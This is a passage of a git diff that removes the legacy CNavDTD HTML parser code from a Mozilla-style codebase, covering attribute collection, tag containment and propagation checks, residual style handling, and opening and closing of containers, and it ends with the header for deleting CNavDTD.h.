- CDoctypeDeclToken* theToken = static_cast<CDoctypeDeclToken*>(aToken);
- nsAutoString docTypeStr(theToken->GetStringValue());
- // XXX Doesn't this count the newlines twice?
- if (mCountLines) {
- mLineNumber += docTypeStr.CountChar(kNewLine);
- }
-
- int32_t len = docTypeStr.Length();
- int32_t pos = docTypeStr.RFindChar(kGreaterThan);
- if (pos != kNotFound) {
- // First remove '>' from the end.
- docTypeStr.Cut(pos, len - pos);
- }
-
- // Now remove "<!" from the begining
- docTypeStr.Cut(0, 2);
- theToken->SetStringValue(docTypeStr);
- return NS_OK;
-}
-
-/**
- * Retrieve the attributes for this node, and add then into
- * the node.
- *
- * @update gess4/22/98
- * @param aNode is the node you want to collect attributes for
- * @param aCount is the # of attributes you're expecting
- * @return error code (should be 0)
- */
-nsresult
-CNavDTD::CollectAttributes(nsIParserNode *aNode, eHTMLTags aTag, int32_t aCount)
-{
- int attr = 0;
- nsresult result = NS_OK;
- int theAvailTokenCount = mTokenizer->GetCount();
-
- if (aCount <= theAvailTokenCount) {
- CToken* theToken;
- for (attr = 0; attr < aCount; ++attr) {
- theToken = mTokenizer->PopToken();
- if (theToken) {
- eHTMLTokenTypes theType = eHTMLTokenTypes(theToken->GetTokenType());
- if (theType != eToken_attribute) {
- // If you're here then it means that the token does not
- // belong to this node. Put the token back into the tokenizer
- // and let it go thro' the regular path. Bug: 59189.
- mTokenizer->PushTokenFront(theToken);
- break;
- }
-
- if (mCountLines) {
- mLineNumber += theToken->GetNewlineCount();
- }
-
- if (aNode) {
- // If the key is empty, the attribute is unusable, so we should not
- // add it to the node.
- if (!((CAttributeToken*)theToken)->GetKey().IsEmpty()) {
- aNode->AddAttribute(theToken);
- } else {
- IF_FREE(theToken, mTokenAllocator);
- }
- } else {
- IF_FREE(theToken, mTokenAllocator);
- }
- }
- }
- } else {
- result = kEOF;
- }
- return result;
-}
-
-/**
- * This method is called to determine whether or not a tag
- * of one type can contain a tag of another type.
- *
- * @update gess 4/8/98
- * @param aParent -- tag enum of parent container
- * @param aChild -- tag enum of child container
- * @return true if parent can contain child
- */
-NS_IMETHODIMP_(bool)
-CNavDTD::CanContain(int32_t aParent, int32_t aChild) const
-{
- bool result = gHTMLElements[aParent].CanContain((eHTMLTags)aChild, mDTDMode);
-
- if (eHTMLTag_nobr == aChild &&
- IsInlineElement(aParent, aParent) &&
- HasOpenContainer(eHTMLTag_nobr)) {
- return false;
- }
-
- return result;
-}
-
-/**
- * This method is called to determine whether or not
- * the given childtag is a block element.
- *
- * @update gess 6June2000
- * @param aChildID -- tag id of child
- * @param aParentID -- tag id of parent (or eHTMLTag_unknown)
- * @return true if this tag is a block tag
- */
-bool
-CNavDTD::IsBlockElement(int32_t aTagID, int32_t aParentID) const
-{
- eHTMLTags theTag = (eHTMLTags)aTagID;
-
- return (theTag > eHTMLTag_unknown && theTag < eHTMLTag_userdefined) &&
- (gHTMLElements[theTag].IsMemberOf(kBlock) ||
- gHTMLElements[theTag].IsMemberOf(kBlockEntity) ||
- gHTMLElements[theTag].IsMemberOf(kHeading) ||
- gHTMLElements[theTag].IsMemberOf(kPreformatted) ||
- gHTMLElements[theTag].IsMemberOf(kList));
-}
-
-/**
- * This method is called to determine whether or not
- * the given childtag is an inline element.
- *
- * @update gess 6June2000
- * @param aChildID -- tag id of child
- * @param aParentID -- tag id of parent (or eHTMLTag_unknown)
- * @return true if this tag is an inline tag
- */
-bool
-CNavDTD::IsInlineElement(int32_t aTagID, int32_t aParentID) const
-{
- eHTMLTags theTag = (eHTMLTags)aTagID;
-
- return (theTag > eHTMLTag_unknown && theTag < eHTMLTag_userdefined) &&
- (gHTMLElements[theTag].IsMemberOf(kInlineEntity) ||
- gHTMLElements[theTag].IsMemberOf(kFontStyle) ||
- gHTMLElements[theTag].IsMemberOf(kPhrase) ||
- gHTMLElements[theTag].IsMemberOf(kSpecial) ||
- gHTMLElements[theTag].IsMemberOf(kFormControl));
-}
-
-/**
- * This method is called to determine whether or not
- * the necessary intermediate tags should be propagated
- * between the given parent and given child.
- *
- * @update gess 4/8/98
- * @param aParent -- tag enum of parent container
- * @param aChild -- tag enum of child container
- * @return true if propagation should occur
- */
-bool
-CNavDTD::CanPropagate(eHTMLTags aParent, eHTMLTags aChild,
- int32_t aParentContains)
-{
- bool result = false;
- if (aParentContains == -1) {
- aParentContains = CanContain(aParent, aChild);
- }
-
- if (aParent == aChild) {
- return result;
- }
-
- if (nsHTMLElement::IsContainer(aChild)) {
- mScratch.Truncate();
- if (!gHTMLElements[aChild].HasSpecialProperty(kNoPropagate)) {
- if (nsHTMLElement::IsBlockParent(aParent) ||
- gHTMLElements[aParent].GetSpecialChildren()) {
- result = ForwardPropagate(mScratch, aParent, aChild);
- if (!result) {
- if (eHTMLTag_unknown != aParent) {
- result = BackwardPropagate(mScratch, aParent, aChild);
- } else {
- result = BackwardPropagate(mScratch, eHTMLTag_html, aChild);
- }
- }
- }
- }
- if (mScratch.Length() - 1 > gHTMLElements[aParent].mPropagateRange) {
- result = false;
- }
- } else {
- result = !!aParentContains;
- }
-
-
- return result;
-}
-
-
-/**
- * This method gets called to determine whether a given
- * tag can be omitted from opening. Most cannot.
- *
- * @param aParent
- * @param aChild
- * @param aParentContains
- * @return true if given tag can contain other tags
- */
-bool
-CNavDTD::CanOmit(eHTMLTags aParent, eHTMLTags aChild, int32_t& aParentContains)
-{
- eHTMLTags theAncestor = gHTMLElements[aChild].mExcludingAncestor;
- if (eHTMLTag_unknown != theAncestor && HasOpenContainer(theAncestor)) {
- return true;
- }
-
- theAncestor = gHTMLElements[aChild].mRequiredAncestor;
- if (eHTMLTag_unknown != theAncestor) {
- // If there's a required ancestor, we only omit if it isn't open and we
- // can't get to it through propagation.
- return !HasOpenContainer(theAncestor) &&
- !CanPropagate(aParent, aChild, aParentContains);
- }
-
- if (gHTMLElements[aParent].CanExclude(aChild)) {
- return true;
- }
-
- // Now the obvious test: if the parent can contain the child, don't omit.
- if (-1 == aParentContains) {
- aParentContains = CanContain(aParent, aChild);
- }
-
- if (aParentContains || aChild == aParent) {
- return false;
- }
-
- if (gHTMLElements[aParent].IsBlockEntity() &&
- nsHTMLElement::IsInlineEntity(aChild)) {
- // Feel free to drop inlines that a block doesn't contain.
- return true;
- }
-
- if (gHTMLElements[aParent].HasSpecialProperty(kBadContentWatch)) {
- // We can only omit this child if it does not have the kBadContentWatch
- // special property.
- return !gHTMLElements[aChild].HasSpecialProperty(kBadContentWatch);
- }
-
- if (gHTMLElements[aParent].HasSpecialProperty(kSaveMisplaced)) {
- return true;
- }
-
- if (aParent == eHTMLTag_body) {
- // There are very few tags that the body does not contain. If we get here
- // the best thing to do is just drop them.
- return true;
- }
-
- return false;
-}
-
-/**
- * This method gets called to determine whether a given
- * tag is itself a container
- *
- * @update gess 4/8/98
- * @param aTag -- tag to test as a container
- * @return true if given tag can contain other tags
- */
-NS_IMETHODIMP_(bool)
-CNavDTD::IsContainer(int32_t aTag) const
-{
- return nsHTMLElement::IsContainer((eHTMLTags)aTag);
-}
-
-
-bool
-CNavDTD::ForwardPropagate(nsString& aSequence, eHTMLTags aParent,
- eHTMLTags aChild)
-{
- bool result = false;
-
- switch(aParent) {
- case eHTMLTag_table:
- if (eHTMLTag_tr == aChild || eHTMLTag_td == aChild) {
- return BackwardPropagate(aSequence, aParent, aChild);
- }
- // Otherwise, intentionally fall through...
-
- case eHTMLTag_tr:
- if (CanContain(eHTMLTag_td, aChild)) {
- aSequence.Append((PRUnichar)eHTMLTag_td);
- result = BackwardPropagate(aSequence, aParent, eHTMLTag_td);
- }
- break;
-
- default:
- break;
- }
-
- return result;
-}
-
-bool
-CNavDTD::BackwardPropagate(nsString& aSequence, eHTMLTags aParent,
- eHTMLTags aChild) const
-{
- eHTMLTags theParent = aParent;
-
- do {
- const TagList* theRootTags = gHTMLElements[aChild].GetRootTags();
- if (!theRootTags) {
- break;
- }
-
- theParent = theRootTags->mTags[0];
- NS_ASSERTION(CanContain(theParent, aChild),
- "Children must be contained by their root tags");
-
- aChild = theParent;
- aSequence.Append((PRUnichar)theParent);
- } while (theParent != eHTMLTag_unknown && theParent != aParent);
-
- return aParent == theParent;
-}
-
-bool CNavDTD::HasOpenContainer(eHTMLTags aContainer) const
-{
- switch (aContainer) {
- case eHTMLTag_form:
- return !(~mFlags & NS_DTD_FLAG_HAS_OPEN_FORM);
- case eHTMLTag_map:
- return mOpenMapCount > 0;
- default:
- return mBodyContext->HasOpenContainer(aContainer);
- }
-}
-
-bool
-CNavDTD::HasOpenContainer(const eHTMLTags aTagSet[], int32_t aCount) const
-{
- int theIndex;
- int theTopIndex = mBodyContext->GetCount() - 1;
-
- for (theIndex = theTopIndex; theIndex > 0; --theIndex) {
- if (FindTagInSet((*mBodyContext)[theIndex], aTagSet, aCount)) {
- return true;
- }
- }
-
- return false;
-}
-
-eHTMLTags
-CNavDTD::GetTopNode() const
-{
- return mBodyContext->Last();
-}
-
-/**
- * It is with great trepidation that I offer this method (privately of course).
- * The gets called whenever a container gets opened. This methods job is to
- * take a look at the (transient) style stack, and open any style containers that
- * are there. Of course, we shouldn't bother to open styles that are incompatible
- * with our parent container.
- *
- * @update gess6/4/98
- * @param tag of the container just opened
- * @return 0 (for now)
- */
-nsresult
-CNavDTD::OpenTransientStyles(eHTMLTags aChildTag, bool aCloseInvalid)
-{
- nsresult result = NS_OK;
-
- // No need to open transient styles in head context - Fix for 41427
- if ((mFlags & NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE) &&
- eHTMLTag_newline != aChildTag &&
- !(mFlags & NS_DTD_FLAG_HAS_OPEN_HEAD)) {
- if (CanContain(eHTMLTag_font, aChildTag)) {
- uint32_t theCount = mBodyContext->GetCount();
- uint32_t theLevel = theCount;
-
- // This first loop is used to determine how far up the containment
- // hierarchy we go looking for residual styles.
- while (1 < theLevel) {
- eHTMLTags theParentTag = mBodyContext->TagAt(--theLevel);
- if (gHTMLElements[theParentTag].HasSpecialProperty(kNoStyleLeaksIn)) {
- break;
- }
- }
-
- mFlags &= ~NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE;
- for (; theLevel < theCount; ++theLevel) {
- nsEntryStack* theStack = mBodyContext->GetStylesAt(theLevel);
- if (theStack) {
- // Don't open transient styles if it makes the stack deep, bug 58917.
- if (theCount + theStack->mCount >= FONTSTYLE_IGNORE_DEPTH) {
- break;
- }
-
- int32_t sindex = 0;
-
- nsTagEntry *theEntry = theStack->mEntries;
- bool isHeadingOpen = HasOpenTagOfType(kHeading, *mBodyContext);
- for (sindex = 0; sindex < theStack->mCount; ++sindex) {
- nsCParserNode* theNode = (nsCParserNode*)theEntry->mNode;
- if (1 == theNode->mUseCount) {
- eHTMLTags theNodeTag = (eHTMLTags)theNode->GetNodeType();
- if (gHTMLElements[theNodeTag].CanContain(aChildTag, mDTDMode)) {
- // XXX The following comment is entirely incoherent.
- // We do this too, because this entry differs from the new one
- // we're pushing.
- theEntry->mParent = theStack;
- if (isHeadingOpen) {
- // Bug 77352
- // The style system needs to identify residual style tags
- // within heading tags so that heading tags' size can take
- // precedence over the residual style tags' size info..
- // *Note: Make sure that this attribute is transient since it
- // should not get carried over to cases other than heading.
- CAttributeToken theAttrToken(NS_LITERAL_STRING("_moz-rs-heading"),
- EmptyString());
- theNode->AddAttribute(&theAttrToken);
- result = OpenContainer(theNode, theNodeTag, theStack);
- theNode->PopAttributeToken();
- } else {
- result = OpenContainer(theNode, theNodeTag, theStack);
- }
- } else if (aCloseInvalid) {
- // If the node tag can't contain the child tag, then remove the
- // child tag from the style stack
- nsCParserNode* node = theStack->Remove(sindex, theNodeTag);
- IF_FREE(node, &mNodeAllocator);
- --theEntry;
- }
- }
- ++theEntry;
- }
- }
- }
- mFlags |= NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE;
- }
- }
-
- return result;
-}
-
-/**
- * This method gets called when an explicit style close-tag is encountered.
- * It results in the style tag id being popped from our internal style stack.
- *
- * @update gess6/4/98
- * @param
- * @return 0 if all went well (which it always does)
- */
-void
-CNavDTD::PopStyle(eHTMLTags aTag)
-{
- if ((mFlags & NS_DTD_FLAG_ENABLE_RESIDUAL_STYLE) &&
- nsHTMLElement::IsResidualStyleTag(aTag)) {
- nsCParserNode* node = mBodyContext->PopStyle(aTag);
- IF_FREE(node, &mNodeAllocator);
- }
-}
-
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- *
- * @update gess4/22/98
- * @param aNode -- next node to be added to model
- */
-nsresult
-CNavDTD::OpenHTML(const nsCParserNode *aNode)
-{
- NS_PRECONDITION(mBodyContext->GetCount() >= 0, kInvalidTagStackPos);
-
- nsresult result = mSink ? mSink->OpenContainer(*aNode) : NS_OK;
-
- // Don't push more than one HTML tag into the stack.
- if (mBodyContext->GetCount() == 0) {
- mBodyContext->Push(const_cast<nsCParserNode*>(aNode), 0, false);
- }
-
- return result;
-}
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- * @update gess4/6/98
- * @param aNode -- next node to be added to model
- * @return TRUE if ok, FALSE if error
- */
-nsresult
-CNavDTD::OpenBody(const nsCParserNode *aNode)
-{
- NS_PRECONDITION(mBodyContext->GetCount() >= 0, kInvalidTagStackPos);
-
- nsresult result = NS_OK;
-
- if (!(mFlags & NS_DTD_FLAG_HAD_FRAMESET)) {
- mFlags |= NS_DTD_FLAG_HAD_BODY;
-
- // Make sure the head is closed by the time the body is opened.
- CloseContainer(eHTMLTag_head, false);
-
- // Now we can open the body.
- result = mSink ? mSink->OpenContainer(*aNode) : NS_OK;
-
- if (!HasOpenContainer(eHTMLTag_body)) {
- mBodyContext->Push(const_cast<nsCParserNode*>(aNode), 0, false);
- mTokenizer->PrependTokens(mMisplacedContent);
- }
- }
-
- return result;
-}
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- * @update gess4/6/98
- * @param aNode -- next node to be added to model
- * @param aClosedByStartTag -- ONLY TRUE if the container is being closed by opening of another container.
- * @return TRUE if ok, FALSE if error
- */
-nsresult
-CNavDTD::OpenContainer(const nsCParserNode *aNode,
- eHTMLTags aTag,
- nsEntryStack* aStyleStack)
-{
- NS_PRECONDITION(mBodyContext->GetCount() >= 0, kInvalidTagStackPos);
-
- nsresult result = NS_OK;
- bool done = true;
- bool rs_tag = nsHTMLElement::IsResidualStyleTag(aTag);
- // We need to open transient styles to encompass the <li> so that the bullets
- // inherit the proper colors.
- bool li_tag = aTag == eHTMLTag_li;
-
- if (rs_tag || li_tag) {
- /*
- * Here's an interesting problem:
- *
- * If there's an <a> on the RS-stack, and you're trying to open
- * another <a>, the one on the RS-stack should be discarded.
- *
- * I'm updating OpenTransientStyles to throw old <a>'s away.
- */
- OpenTransientStyles(aTag, !li_tag);
- }
-
- switch (aTag) {
- case eHTMLTag_html:
- result = OpenHTML(aNode);
- break;
-
- case eHTMLTag_head:
- if (!(mFlags & NS_DTD_FLAG_HAS_OPEN_HEAD)) {
- mFlags |= NS_DTD_FLAG_HAS_OPEN_HEAD;
- done = false;
- }
- break;
-
- case eHTMLTag_body:
- {
- eHTMLTags theParent = mBodyContext->Last();
- if (!gHTMLElements[aTag].IsSpecialParent(theParent)) {
- mFlags |= NS_DTD_FLAG_HAS_OPEN_BODY;
- result = OpenBody(aNode);
- } else {
- done = false;
- }
- }
- break;
-
- case eHTMLTag_map:
- ++mOpenMapCount;
- done = false;
- break;
-
- case eHTMLTag_form:
- // Discard nested forms - bug 72639
- if (!(mFlags & NS_DTD_FLAG_HAS_OPEN_FORM)) {
- mFlags |= NS_DTD_FLAG_HAS_OPEN_FORM;
- result = mSink ? mSink->OpenContainer(*aNode) : NS_OK;
- }
- break;
-
- case eHTMLTag_frameset:
- // Make sure that the head is closed before we try to open this frameset.
- CloseContainer(eHTMLTag_head, false);
-
- // Now that the head is closed, continue on with opening this frameset.
- mFlags |= NS_DTD_FLAG_HAD_FRAMESET;
- done = false;
- break;
-
- case eHTMLTag_noembed:
- // <noembed> is unconditionally alternate content.
- done = false;
- mFlags |= NS_DTD_FLAG_ALTERNATE_CONTENT;
- break;
-
- case eHTMLTag_noscript:
- // We want to make sure that OpenContainer gets called below since we're
- // not doing it here
- done = false;
-
- if (mFlags & NS_IPARSER_FLAG_SCRIPT_ENABLED) {
- // XXX This flag doesn't currently do anything (and would be
- // insufficient if it did).
- mFlags |= NS_DTD_FLAG_ALTERNATE_CONTENT;
- }
- break;
-
- case eHTMLTag_iframe: // Bug 84491
- case eHTMLTag_noframes:
- done = false;
- if (mFlags & NS_IPARSER_FLAG_FRAMES_ENABLED) {
- mFlags |= NS_DTD_FLAG_ALTERNATE_CONTENT;
- }
- break;
-
- default:
- done = false;
- break;
- }
-
- if (!done) {
-
- result = mSink ? mSink->OpenContainer(*aNode) : NS_OK;
-
- // For residual style tags rs_tag will be true and hence
- // the body context will hold an extra reference to the node.
- mBodyContext->Push(const_cast<nsCParserNode*>(aNode), aStyleStack, rs_tag);
- }
-
- return result;
-}
-
-nsresult
-CNavDTD::CloseResidualStyleTags(const eHTMLTags aTag,
- bool aClosedByStartTag)
-{
- const int32_t count = mBodyContext->GetCount();
- int32_t pos = count;
- while (nsHTMLElement::IsResidualStyleTag(mBodyContext->TagAt(pos - 1)))
- --pos;
- if (pos < count)
- return CloseContainersTo(pos, aTag, aClosedByStartTag);
- return NS_OK;
-}
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- * @update gess4/6/98
- * @param aTag -- id of tag to be closed
- * @return TRUE if ok, FALSE if error
- */
-nsresult
-CNavDTD::CloseContainer(const eHTMLTags aTag, bool aMalformed)
-{
- nsresult result = NS_OK;
- bool done = true;
-
- switch (aTag) {
- case eHTMLTag_head:
- if (mFlags & NS_DTD_FLAG_HAS_OPEN_HEAD) {
- mFlags &= ~NS_DTD_FLAG_HAS_OPEN_HEAD;
- if (mBodyContext->Last() == eHTMLTag_head) {
- mBodyContext->Pop();
- } else {
- // This else can happen because CloseContainer is called both directly
- // and from CloseContainersTo. CloseContainersTo pops the current tag
- // off of the stack before calling CloseContainer.
- NS_ASSERTION(mBodyContext->LastOf(eHTMLTag_head) == kNotFound,
- "Closing the wrong tag");
- }
- done = false;
- }
- break;
-
- case eHTMLTag_map:
- if (mOpenMapCount) {
- mOpenMapCount--;
- done = false;
- }
- break;
-
- case eHTMLTag_form:
- if (mFlags & NS_DTD_FLAG_HAS_OPEN_FORM) {
- mFlags &= ~NS_DTD_FLAG_HAS_OPEN_FORM;
- done = false;
- // If we neglect to close these tags, the sink will refuse to close the
- // form because the form will not be on the top of the SinkContext stack.
- // See HTMLContentSink::CloseForm. (XXX do this in other cases?)
- CloseResidualStyleTags(eHTMLTag_form, false);
- }
- break;
-
- case eHTMLTag_iframe:
- case eHTMLTag_noembed:
- case eHTMLTag_noscript:
- case eHTMLTag_noframes:
- // Switch from alternate content state to regular state.
- mFlags &= ~NS_DTD_FLAG_ALTERNATE_CONTENT;
-
- // falling thro' intentionally....
- default:
- done = false;
- }
-
- if (!done) {
-
- if (mSink) {
- result = !aMalformed
- ? mSink->CloseContainer(aTag)
- : mSink->CloseMalformedContainer(aTag);
- }
-
- // If we were dealing with a head container in the body, make sure to
- // close the head context now, so that body content doesn't get sucked
- // into the head.
- if (mBodyContext->GetCount() == mHeadContainerPosition) {
- mHeadContainerPosition = -1;
- nsresult headresult = CloseContainer(eHTMLTag_head, false);
-
- // Note: we could be assigning NS_OK into NS_OK here, but that's ok.
- // This test is to avoid a successful CloseHead result stomping over a
- // request to block the parser.
- if (NS_SUCCEEDED(result)) {
- result = headresult;
- }
- }
- }
-
- return result;
-}
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- * @update gess4/6/98
- * @param anIndex
- * @param aTag
- * @param aClosedByStartTag -- if TRUE, then we're closing something because a start tag caused it
- * @return TRUE if ok, FALSE if error
- */
-nsresult
-CNavDTD::CloseContainersTo(int32_t anIndex, eHTMLTags aTarget,
- bool aClosedByStartTag)
-{
- NS_PRECONDITION(mBodyContext->GetCount() > 0, kInvalidTagStackPos);
- nsresult result = NS_OK;
-
- if (anIndex < mBodyContext->GetCount() && anIndex >= 0) {
- int32_t count = 0;
- while ((count = mBodyContext->GetCount()) > anIndex) {
- nsEntryStack* theChildStyleStack = 0;
- eHTMLTags theTag = mBodyContext->Last();
- nsCParserNode* theNode = mBodyContext->Pop(theChildStyleStack);
- result = CloseContainer(theTag, false);
-
- bool theTagIsStyle = nsHTMLElement::IsResidualStyleTag(theTag);
- // If the current tag cannot leak out then we shouldn't leak out of the target - Fix 40713
- bool theStyleDoesntLeakOut = gHTMLElements[theTag].HasSpecialProperty(kNoStyleLeaksOut);
- if (!theStyleDoesntLeakOut) {
- theStyleDoesntLeakOut = gHTMLElements[aTarget].HasSpecialProperty(kNoStyleLeaksOut);
- }
-
- // Do not invoke residual style handling when dealing with
- // alternate content. This fixed bug 25214.
- if (theTagIsStyle && !(mFlags & NS_DTD_FLAG_ALTERNATE_CONTENT)) {
- NS_ASSERTION(theNode, "residual style node should not be null");
- if (!theNode) {
- if (theChildStyleStack) {
- mBodyContext->PushStyles(theChildStyleStack);
- }
- return NS_OK;
- }
-
- bool theTargetTagIsStyle = nsHTMLElement::IsResidualStyleTag(aTarget);
- if (aClosedByStartTag) {
- // Handle closure due to new start tag.
- // The cases we're handing here:
- // 1. <body><b><DIV> //<b> gets pushed onto <body>.mStyles.
- // 2. <body><a>text<a> //in this case, the target matches, so don't push style
- if (theNode->mUseCount == 0) {
- if (theTag != aTarget) {
- if (theChildStyleStack) {
- theChildStyleStack->PushFront(theNode);
- } else {
- mBodyContext->PushStyle(theNode);
- }
- }
- } else if (theTag == aTarget && !gHTMLElements[aTarget].CanContainSelf()) {
- //here's a case we missed: <a><div>text<a>text</a></div>
- //The <div> pushes the 1st <a> onto the rs-stack, then the 2nd <a>
- //pops the 1st <a> from the rs-stack altogether.
- nsCParserNode* node = mBodyContext->PopStyle(theTag);
- IF_FREE(node, &mNodeAllocator);
- }
-
- if (theChildStyleStack) {
- mBodyContext->PushStyles(theChildStyleStack);
- }
- } else {
- /*
- * if you're here, then we're dealing with the closure of tags
- * caused by a close tag (as opposed to an open tag).
- * At a minimum, we should consider pushing residual styles up
- * up the stack or popping and recycling displaced nodes.
- *
- * Known cases:
- * 1. <body><b><div>text</DIV>
- * Here the <b> will leak into <div> (see case given above), and
- * when <div> closes the <b> is dropped since it's already residual.
- *
- * 2. <body><div><b>text</div>
- * Here the <b> will leak out of the <div> and get pushed onto
- * the RS stack for the <body>, since it originated in the <div>.
- *
- * 3. <body><span><b>text</span>
- * In this case, the the <b> get's pushed onto the style stack.
- * Later we deal with RS styles stored on the <span>
- *
- * 4. <body><span><b>text</i>
- * Here we the <b>is closed by a (synonymous) style tag.
- * In this case, the <b> is simply closed.
- */
- if (theChildStyleStack) {
- if (!theStyleDoesntLeakOut) {
- if (theTag != aTarget) {
- if (theNode->mUseCount == 0) {
- theChildStyleStack->PushFront(theNode);
- }
- } else if (theNode->mUseCount == 1) {
- // This fixes bug 30885,29626.
- // Make sure that the node, which is about to
- // get released does not stay on the style stack...
- // Also be sure to remove the correct style off the
- // style stack. - Ref. bug 94208.
- // Ex <FONT><B><I></FONT><FONT></B></I></FONT>
- // Make sure that </B> removes B off the style stack.
- mBodyContext->RemoveStyle(theTag);
- }
- mBodyContext->PushStyles(theChildStyleStack);
- } else{
- IF_DELETE(theChildStyleStack, &mNodeAllocator);
- }
- } else if (theNode->mUseCount == 0) {
- // The old version of this only pushed if the targettag wasn't
- // style. But that misses this case: <font><b>text</font>, where
- // the b should leak.
- if (aTarget != theTag) {
- mBodyContext->PushStyle(theNode);
- }
- } else {
- // Ah, at last, the final case. If you're here, then we just popped
- // a style tag that got onto that tag stack from a stylestack
- // somewhere. Pop it from the stylestack if the target is also a
- // style tag. Make sure to remove the matching style. In the
- // following example:
- // <FONT><B><I></FONT><FONT color=red></B></I></FONT>
- // make sure that </I> does not remove
- // <FONT color=red> off the style stack. - bug 94208
- if (theTargetTagIsStyle && theTag == aTarget) {
- mBodyContext->RemoveStyle(theTag);
- }
- }
- }
- } else {
- // The tag is not a style tag.
- if (theChildStyleStack) {
- if (theStyleDoesntLeakOut) {
- IF_DELETE(theChildStyleStack, &mNodeAllocator);
- } else {
- mBodyContext->PushStyles(theChildStyleStack);
- }
- }
- }
- IF_FREE(theNode, &mNodeAllocator);
- }
- }
- return result;
-}
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- * @update gess4/6/98
- * @param aTag --
- * @param aClosedByStartTag -- ONLY TRUE if the container is being closed by opening of another container.
- * @return TRUE if ok, FALSE if error
- */
-nsresult
-CNavDTD::CloseContainersTo(eHTMLTags aTag, bool aClosedByStartTag)
-{
- NS_PRECONDITION(mBodyContext->GetCount() > 0, kInvalidTagStackPos);
-
- int32_t pos = mBodyContext->LastOf(aTag);
-
- if (kNotFound != pos) {
- // The tag is indeed open, so close it.
- return CloseContainersTo(pos, aTag, aClosedByStartTag);
- }
-
- eHTMLTags theTopTag = mBodyContext->Last();
-
- bool theTagIsSynonymous = (nsHTMLElement::IsResidualStyleTag(aTag) &&
- nsHTMLElement::IsResidualStyleTag(theTopTag)) ||
- (gHTMLElements[aTag].IsMemberOf(kHeading) &&
- gHTMLElements[theTopTag].IsMemberOf(kHeading));
-
- if (theTagIsSynonymous) {
- // If you're here, it's because we're trying to close one tag,
- // but a different (synonymous) one is actually open. Because this is NAV4x
- // compatibililty mode, we must close the one that's really open.
- aTag = theTopTag;
- pos = mBodyContext->LastOf(aTag);
- if (kNotFound != pos) {
- // The tag is indeed open, so close it.
- return CloseContainersTo(pos, aTag, aClosedByStartTag);
- }
- }
-
- nsresult result = NS_OK;
- const TagList* theRootTags = gHTMLElements[aTag].GetRootTags();
- // XXX Can we just bail if !theRootTags? Does that ever happen?
- eHTMLTags theParentTag = theRootTags ? theRootTags->mTags[0] : eHTMLTag_unknown;
- pos = mBodyContext->LastOf(theParentTag);
- if (kNotFound != pos) {
- // The parent container is open, so close it instead
- result = CloseContainersTo(pos + 1, aTag, aClosedByStartTag);
- }
- return result;
-}
-
-/**
- * This method does two things: 1st, help construct
- * our own internal model of the content-stack; and
- * 2nd, pass this message on to the sink.
- * @update gess4/6/98
- * @param aNode -- next node to be added to model
- * @return error code; 0 means OK
- */
-nsresult
-CNavDTD::AddLeaf(const nsIParserNode *aNode)
-{
- nsresult result = NS_OK;
-
- if (mSink) {
- eHTMLTags theTag = (eHTMLTags)aNode->GetNodeType();
- OpenTransientStyles(theTag);
-
- result = mSink->AddLeaf(*aNode);
- }
-
- return result;
-}
-
-/**
- * Call this method ONLY when you want to write a leaf
- * into the head container.
- *
- * @update gess 03/14/99
- * @param aNode -- next node to be added to model
- * @return error code; 0 means OK
- */
-nsresult
-CNavDTD::AddHeadContent(nsIParserNode *aNode)
-{
- nsresult result = NS_OK;
-
- static eHTMLTags gNoXTags[] = { eHTMLTag_noembed, eHTMLTag_noframes };
-
- eHTMLTags theTag = (eHTMLTags)aNode->GetNodeType();
-
- // XXX - SCRIPT inside NOTAGS should not get executed unless the pref.
- // says so. Since we don't have this support yet..lets ignore the
- // SCRIPT inside NOTAGS. Ref Bug 25880.
- if (eHTMLTag_meta == theTag || eHTMLTag_script == theTag) {
- if (HasOpenContainer(gNoXTags, ArrayLength(gNoXTags))) {
- return result;
- }
- }
-
- if (mSink) {
- // Make sure the head is opened.
- if (!(mFlags & NS_DTD_FLAG_HAS_OPEN_HEAD)) {
- result = mSink->OpenHead();
- mBodyContext->PushTag(eHTMLTag_head);
- mFlags |= NS_DTD_FLAG_HAS_OPEN_HEAD;
- }
-
- // Note: userdefined tags in the head are treated as leaves.
- if (!nsHTMLElement::IsContainer(theTag) || theTag == eHTMLTag_userdefined) {
- result = mSink->AddLeaf(*aNode);
-
- if (mFlags & NS_DTD_FLAG_HAS_MAIN_CONTAINER) {
- // Close the head now so that body content doesn't get sucked into it.
- CloseContainer(eHTMLTag_head, false);
- }
- } else {
- if ((mFlags & NS_DTD_FLAG_HAS_MAIN_CONTAINER) &&
- mHeadContainerPosition == -1) {
- // Keep track of this so that we know when to close the head, when
- // this tag is done with.
- mHeadContainerPosition = mBodyContext->GetCount();
- }
-
- // Note: The head context is already opened.
- result = mSink->OpenContainer(*aNode);
-
- mBodyContext->Push(static_cast<nsCParserNode*>(aNode), nullptr,
- false);
- }
- }
-
- return result;
-}
-
-void
-CNavDTD::CreateContextStackFor(eHTMLTags aParent, eHTMLTags aChild)
-{
- mScratch.Truncate();
-
- bool result = ForwardPropagate(mScratch, aParent, aChild);
-
- if (!result) {
- if (eHTMLTag_unknown == aParent) {
- result = BackwardPropagate(mScratch, eHTMLTag_html, aChild);
- } else if (aParent != aChild) {
- // Don't even bother if we're already inside a similar element...
- result = BackwardPropagate(mScratch, aParent, aChild);
- }
- }
-
- if (!result) {
- return;
- }
-
- int32_t theLen = mScratch.Length();
- eHTMLTags theTag = (eHTMLTags)mScratch[--theLen];
-
- // Now, build up the stack according to the tags.
- while (theLen) {
- theTag = (eHTMLTags)mScratch[--theLen];
-
- // Note: These tokens should all wind up on contextstack, so don't recycle
- // them.
- CToken *theToken = mTokenAllocator->CreateTokenOfType(eToken_start, theTag);
- HandleToken(theToken);
- }
-}
diff --git a/parser/htmlparser/src/CNavDTD.h b/parser/htmlparser/src/CNavDTD.h
deleted file mode 100644
index d935f4bba..000000000
